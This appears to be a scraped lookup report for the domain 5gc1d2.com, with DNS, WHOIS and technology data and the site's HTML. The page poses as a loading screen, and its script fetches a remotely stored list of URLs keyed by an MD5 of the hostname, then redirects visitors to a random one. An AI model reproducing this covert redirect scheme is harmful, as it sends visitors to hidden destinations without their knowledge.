, ,
, ,
, ,
, ,
, ,
Loading...
Loading...
{
"latency": 1411,
"ipAddresses": [
"http-domain.dns.aa5aa5.com.",
"http-301.cdn.goodluck-co.com.",
"143.92.53.209",
"http-domain.dns.aa5aa5.com.",
"http-301.cdn.goodluck-co.com."
],
"dns": {
"NS": [
"ns2.alidns.com.",
"ns1.alidns.com."
],
"A": [
"http-domain.dns.aa5aa5.com.",
"http-301.cdn.goodluck-co.com.",
"143.92.53.209"
],
"AAAA": [
"http-domain.dns.aa5aa5.com.",
"http-301.cdn.goodluck-co.com."
],
"CNAME": [
"http-domain.dns.aa5aa5.com."
]
}
}
[
{
"url": "https://5gc1d2.com",
"technologies": [
{
"slug": "nginx",
"name": "Nginx",
"icon": "Nginx.svg",
"cpe": "cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*",
"versions": [],
"categories": [
{
"id": 22,
"slug": "web-servers",
"name": "Web servers"
},
{
"id": 64,
"slug": "reverse-proxies",
"name": "Reverse proxies"
}
],
"confirmedAt": 1724640559
},
{
"slug": "openresty",
"name": "OpenResty",
"icon": "OpenResty.svg",
"versions": [],
"categories": [
{
"id": 22,
"slug": "web-servers",
"name": "Web servers"
}
],
"confirmedAt": 1724640559
}
]
}
]
{
"data": {
"total": 0,
"personal_emails": 0,
"generic_emails": 0,
"department": {
"executive": 0,
"it": 0,
"finance": 0,
"management": 0,
"sales": 0,
"legal": 0,
"support": 0,
"hr": 0,
"marketing": 0,
"communication": 0,
"education": 0,
"design": 0,
"health": 0,
"operations": 0
},
"seniority": {
"junior": 0,
"senior": 0,
"executive": 0
}
},
"meta": {
"params": {
"domain": "5gc1d2.com",
"company": null,
"type": null
}
}
}
{
"SEDO Parking": "Advertisements from SEDO parking, typically found on a parked domain.",
"Viewport Meta": "This page uses the viewport meta tag which means the content may be optimized for mobile content.",
"IPhone / Mobile Compatible": "The website contains code that allows the page to support IPhone / Mobile Content.",
"Mobile Non Scaleable Content": "This content is formatted for mobile devices, it does not allow the content to be scaled.",
"Google Adsense": "A contextual advertising solution for delivering Google AdWords ads that are relevant to site content pages.",
"Google Adsense for Domains": "AdSense for domains allows publishers with undeveloped domains to help users by providing relevant information including ads, links and search results.",
"AdBlock Acceptable Ads": "The website is white listed to shows advertisements to users who have popular extension AdBlock installed.",
"NameSilo DNS": "Domain name services from NameSilo.",
"SPF": "The Sender Policy Framework is an open standard specifying a technical method to prevent sender address forgery.",
"Sedo Hosting": "Network infrastructure from Sedo based in Germany.",
"Baidu Bot Disallow": "The website has disallow rules for Baidu Baiduspider bot.",
"Googlebot Disallow": "The website has disallow rules for Google Search Bot.",
"Google Media Partners Disallow": "The website has disallow rules for Google Media Partners.",
"Some Robots Disallow": "Blocks some but not all robots from indexing the website."
}
{
"whois.verisign-grs.com": {
"Domain Status": [
"clientTransferProhibited https://icann.org/epp#clientTransferProhibited"
],
"Name Server": [
"NS1.ALIDNS.COM",
"NS2.ALIDNS.COM"
],
"Domain Name": "5GC1D2.COM",
"Registry Domain ID": "2938888024_DOMAIN_COM-VRSN",
"Registrar WHOIS Server": "whois.dynadot.com",
"Registrar URL": "http://www.dynadot.com",
"Updated Date": "2024-12-02T12:35:37Z",
"Created Date": "2024-12-02T01:03:28Z",
"Expiry Date": "2025-12-02T01:03:28Z",
"Registrar": "Dynadot Inc",
"Registrar IANA ID": "472",
"Registrar Abuse Contact Email": "[email protected]",
"Registrar Abuse Contact Phone": "+16502620100",
"DNSSEC": "unsigned",
"URL of the ICANN Whois Inaccuracy Complaint Form": "https://www.icann.org/wicf/",
">>> Last update of whois database": "2025-01-31T21:07:12Z <<<",
"text": [
"For more information on Whois status codes, please visit https://icann.org/epp",
"",
"NOTICE: The expiration date displayed in this record is the date the",
"registrar's sponsorship of the domain name registration in the registry is",
"currently set to expire. This date does not necessarily reflect the expiration",
"date of the domain name registrant's agreement with the sponsoring",
"registrar. Users may consult the sponsoring registrar's Whois database to",
"view the registrar's reported date of expiration for this registration.",
"",
"TERMS OF USE: You are not authorized to access or query our Whois",
"database through the use of electronic processes that are high-volume and",
"automated except as reasonably necessary to register domain names or",
"modify existing registrations; the Data in VeriSign Global Registry",
"Services' (\"VeriSign\") Whois database is provided by VeriSign for",
"information purposes only, and to assist persons in obtaining information",
"about or related to a domain name registration record. VeriSign does not",
"guarantee its accuracy. By submitting a Whois query, you agree to abide",
"by the following terms of use: You agree that you may use this Data only",
"for lawful purposes and that under no circumstances will you use this Data",
"to: (1) allow, enable, or otherwise support the transmission of mass",
"unsolicited, commercial advertising or solicitations via e-mail, telephone,",
"or facsimile; or (2) enable high volume, automated, electronic processes",
"that apply to VeriSign (or its computer systems). The compilation,",
"repackaging, dissemination or other use of this Data is expressly",
"prohibited without the prior written consent of VeriSign. You agree not to",
"use electronic processes that are automated and high-volume to access or",
"query the Whois database except as reasonably necessary to register",
"domain names or modify existing registrations. VeriSign reserves the right",
"to restrict your access to the Whois database in its sole discretion to ensure",
"operational stability. VeriSign may restrict or terminate your access to the",
"Whois database for failure to abide by these terms of use. VeriSign",
"reserves the right to modify these terms at any time.",
"",
"The Registry database contains ONLY .COM, .NET, .EDU domains and",
"Registrars."
]
},
"whois.dynadot.com": {
"Domain Status": [],
"Name Server": [],
"text": [
"You have exceeded your access quota. Please try again later."
]
}
}
{
"status": 522,
"statusText": "Unable to connect. Is the computer able to access the url?",
"headers": {}
}
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Loading Page</title>
<script>
;(function ($) {
'use strict'
function safeAdd(x, y) {
var lsw = (x & 0xffff) + (y & 0xffff)
var msw = (x >> 16) + (y >> 16) + (lsw >> 16)
return (msw << 16) | (lsw & 0xffff)
}
function bitRotateLeft(num, cnt) {
return (num << cnt) | (num >>> (32 - cnt))
}
function md5cmn(q, a, b, x, s, t) {
return safeAdd(bitRotateLeft(safeAdd(safeAdd(a, q), safeAdd(x, t)), s), b)
}
function md5ff(a, b, c, d, x, s, t) {
return md5cmn((b & c) | (~b & d), a, b, x, s, t)
}
function md5gg(a, b, c, d, x, s, t) {
return md5cmn((b & d) | (c & ~d), a, b, x, s, t)
}
function md5hh(a, b, c, d, x, s, t) {
return md5cmn(b ^ c ^ d, a, b, x, s, t)
}
function md5ii(a, b, c, d, x, s, t) {
return md5cmn(c ^ (b | ~d), a, b, x, s, t)
}
function binlMD5(x, len) {
/* append padding */
x[len >> 5] |= 0x80 << len % 32
x[(((len + 64) >>> 9) << 4) + 14] = len
var i
var olda
var oldb
var oldc
var oldd
var a = 1732584193
var b = -271733879
var c = -1732584194
var d = 271733878
for (i = 0; i < x.length; i += 16) {
olda = a
oldb = b
oldc = c
oldd = d
a = md5ff(a, b, c, d, x[i], 7, -680876936)
d = md5ff(d, a, b, c, x[i + 1], 12, -389564586)
c = md5ff(c, d, a, b, x[i + 2], 17, 606105819)
b = md5ff(b, c, d, a, x[i + 3], 22, -1044525330)
a = md5ff(a, b, c, d, x[i + 4], 7, -176418897)
d = md5ff(d, a, b, c, x[i + 5], 12, 1200080426)
c = md5ff(c, d, a, b, x[i + 6], 17, -1473231341)
b = md5ff(b, c, d, a, x[i + 7], 22, -45705983)
a = md5ff(a, b, c, d, x[i + 8], 7, 1770035416)
d = md5ff(d, a, b, c, x[i + 9], 12, -1958414417)
c = md5ff(c, d, a, b, x[i + 10], 17, -42063)
b = md5ff(b, c, d, a, x[i + 11], 22, -1990404162)
a = md5ff(a, b, c, d, x[i + 12], 7, 1804603682)
d = md5ff(d, a, b, c, x[i + 13], 12, -40341101)
c = md5ff(c, d, a, b, x[i + 14], 17, -1502002290)
b = md5ff(b, c, d, a, x[i + 15], 22, 1236535329)
a = md5gg(a, b, c, d, x[i + 1], 5, -165796510)
d = md5gg(d, a, b, c, x[i + 6], 9, -1069501632)
c = md5gg(c, d, a, b, x[i + 11], 14, 643717713)
b = md5gg(b, c, d, a, x[i], 20, -373897302)
a = md5gg(a, b, c, d, x[i + 5], 5, -701558691)
d = md5gg(d, a, b, c, x[i + 10], 9, 38016083)
c = md5gg(c, d, a, b, x[i + 15], 14, -660478335)
b = md5gg(b, c, d, a, x[i + 4], 20, -405537848)
a = md5gg(a, b, c, d, x[i + 9], 5, 568446438)
d = md5gg(d, a, b, c, x[i + 14], 9, -1019803690)
c = md5gg(c, d, a, b, x[i + 3], 14, -187363961)
b = md5gg(b, c, d, a, x[i + 8], 20, 1163531501)
a = md5gg(a, b, c, d, x[i + 13], 5, -1444681467)
d = md5gg(d, a, b, c, x[i + 2], 9, -51403784)
c = md5gg(c, d, a, b, x[i + 7], 14, 1735328473)
b = md5gg(b, c, d, a, x[i + 12], 20, -1926607734)
a = md5hh(a, b, c, d, x[i + 5], 4, -378558)
d = md5hh(d, a, b, c, x[i + 8], 11, -2022574463)
c = md5hh(c, d, a, b, x[i + 11], 16, 1839030562)
b = md5hh(b, c, d, a, x[i + 14], 23, -35309556)
a = md5hh(a, b, c, d, x[i + 1], 4, -1530992060)
d = md5hh(d, a, b, c, x[i + 4], 11, 1272893353)
c = md5hh(c, d, a, b, x[i + 7], 16, -155497632)
b = md5hh(b, c, d, a, x[i + 10], 23, -1094730640)
a = md5hh(a, b, c, d, x[i + 13], 4, 681279174)
d = md5hh(d, a, b, c, x[i], 11, -358537222)
c = md5hh(c, d, a, b, x[i + 3], 16, -722521979)
b = md5hh(b, c, d, a, x[i + 6], 23, 76029189)
a = md5hh(a, b, c, d, x[i + 9], 4, -640364487)
d = md5hh(d, a, b, c, x[i + 12], 11, -421815835)
c = md5hh(c, d, a, b, x[i + 15], 16, 530742520)
b = md5hh(b, c, d, a, x[i + 2], 23, -995338651)
a = md5ii(a, b, c, d, x[i], 6, -198630844)
d = md5ii(d, a, b, c, x[i + 7], 10, 1126891415)
c = md5ii(c, d, a, b, x[i + 14], 15, -1416354905)
b = md5ii(b, c, d, a, x[i + 5], 21, -57434055)
a = md5ii(a, b, c, d, x[i + 12], 6, 1700485571)
d = md5ii(d, a, b, c, x[i + 3], 10, -1894986606)
c = md5ii(c, d, a, b, x[i + 10], 15, -1051523)
b = md5ii(b, c, d, a, x[i + 1], 21, -2054922799)
a = md5ii(a, b, c, d, x[i + 8], 6, 1873313359)
d = md5ii(d, a, b, c, x[i + 15], 10, -30611744)
c = md5ii(c, d, a, b, x[i + 6], 15, -1560198380)
b = md5ii(b, c, d, a, x[i + 13], 21, 1309151649)
a = md5ii(a, b, c, d, x[i + 4], 6, -145523070)
d = md5ii(d, a, b, c, x[i + 11], 10, -1120210379)
c = md5ii(c, d, a, b, x[i + 2], 15, 718787259)
b = md5ii(b, c, d, a, x[i + 9], 21, -343485551)
a = safeAdd(a, olda)
b = safeAdd(b, oldb)
c = safeAdd(c, oldc)
d = safeAdd(d, oldd)
}
return [a, b, c, d]
}
function binl2rstr(input) {
var i
var output = ''
var length32 = input.length * 32
for (i = 0; i < length32; i += 8) {
output += String.fromCharCode((input[i >> 5] >>> i % 32) & 0xff)
}
return output
}
function rstr2binl(input) {
var i
var output = []
output[(input.length >> 2) - 1] = undefined
for (i = 0; i < output.length; i += 1) {
output[i] = 0
}
var length8 = input.length * 8
for (i = 0; i < length8; i += 8) {
output[i >> 5] |= (input.charCodeAt(i / 8) & 0xff) << i % 32
}
return output
}
function rstrMD5(s) {
return binl2rstr(binlMD5(rstr2binl(s), s.length * 8))
}
function rstrHMACMD5(key, data) {
var i
var bkey = rstr2binl(key)
var ipad = []
var opad = []
var hash
ipad[15] = opad[15] = undefined
if (bkey.length > 16) {
bkey = binlMD5(bkey, key.length * 8)
}
for (i = 0; i < 16; i += 1) {
ipad[i] = bkey[i] ^ 0x36363636
opad[i] = bkey[i] ^ 0x5c5c5c5c
}
hash = binlMD5(ipad.concat(rstr2binl(data)), 512 + data.length * 8)
return binl2rstr(binlMD5(opad.concat(hash), 512 + 128))
}
function rstr2hex(input) {
var hexTab = '0123456789abcdef'
var output = ''
var x
var i
for (i = 0; i < input.length; i += 1) {
x = input.charCodeAt(i)
output += hexTab.charAt((x >>> 4) & 0x0f) + hexTab.charAt(x & 0x0f)
}
return output
}
function str2rstrUTF8(input) {
return unescape(encodeURIComponent(input))
}
function rawMD5(s) {
return rstrMD5(str2rstrUTF8(s))
}
function hexMD5(s) {
return rstr2hex(rawMD5(s))
}
function rawHMACMD5(k, d) {
return rstrHMACMD5(str2rstrUTF8(k), str2rstrUTF8(d))
}
function hexHMACMD5(k, d) {
return rstr2hex(rawHMACMD5(k, d))
}
function md5(string, key, raw) {
if (!key) {
if (!raw) {
return hexMD5(string)
}
return rawMD5(string)
}
if (!raw) {
return hexHMACMD5(key, string)
}
return rawHMACMD5(key, string)
}
if (typeof define === 'function' && define.amd) {
define(function () {
return md5
})
} else if (typeof module === 'object' && module.exports) {
module.exports = md5
} else {
$.md5 = md5
}
})(this)
</script>
<style>
body,
html {
height: 100%;
margin: 0;
display: flex;
justify-content: center;
align-items: center;
background-color: #f7f7f7;
font-family: Arial, sans-serif;
}
.loader-container {
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
}
.loader {
border: 5px solid #f3f3f3;
border-top: 5px solid #3498db;
/* 加载动画的颜色 */
border-radius: 50%;
width: 50px;
height: 50px;
animation: spin 2s linear infinite;
}
.loading-text {
margin-top: 20px;
color: #3498db;
font-size: 18px;
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
</style>
</head>
<body>
<div class="loader-container">
<div class="loader"></div>
<p class="loading-text">正在加载中...</p>
</div>
<script>
function fetchConfig(urls, index = 0) {
if (index >= urls.length) {
return;
}
const url = urls[index];
fetch(url, { method: 'GET' })
.then(response => response.text())
.then(text => {
if (text && text.indexOf('NoSuchKey')<0) {
const arr = text.split(/\r?\n/);
const randomIndex = Math.floor(Math.random() * arr.length);
const url=arr[randomIndex];
const finalUrl = url.startsWith('http') ? url : "http://"+url+"";
const pathname=location.pathname=="/"?"":location.pathname;
const newUrl = finalUrl+pathname+location.search;
window.location.href = newUrl;
}else{
fetchConfig(urls, index + 1); // 尝试下一个URL
}
})
.catch(error => {
console.log(error);
fetchConfig(urls, index + 1); // 尝试下一个URL
});
}
const md5Value = md5(location.host.replace('www.', '')).toString();
const urls = [
"http://redirect-302.oss-cn-shanghai.aliyuncs.com/config/"+md5Value+".txt",
"http://redirect-302.oss-cn-shanghai.aliyuncs.com/config/acb5e564671193ee9a85ae3243c37ca1.txt"
];
fetchConfig(urls);
</script>
</body>
</html>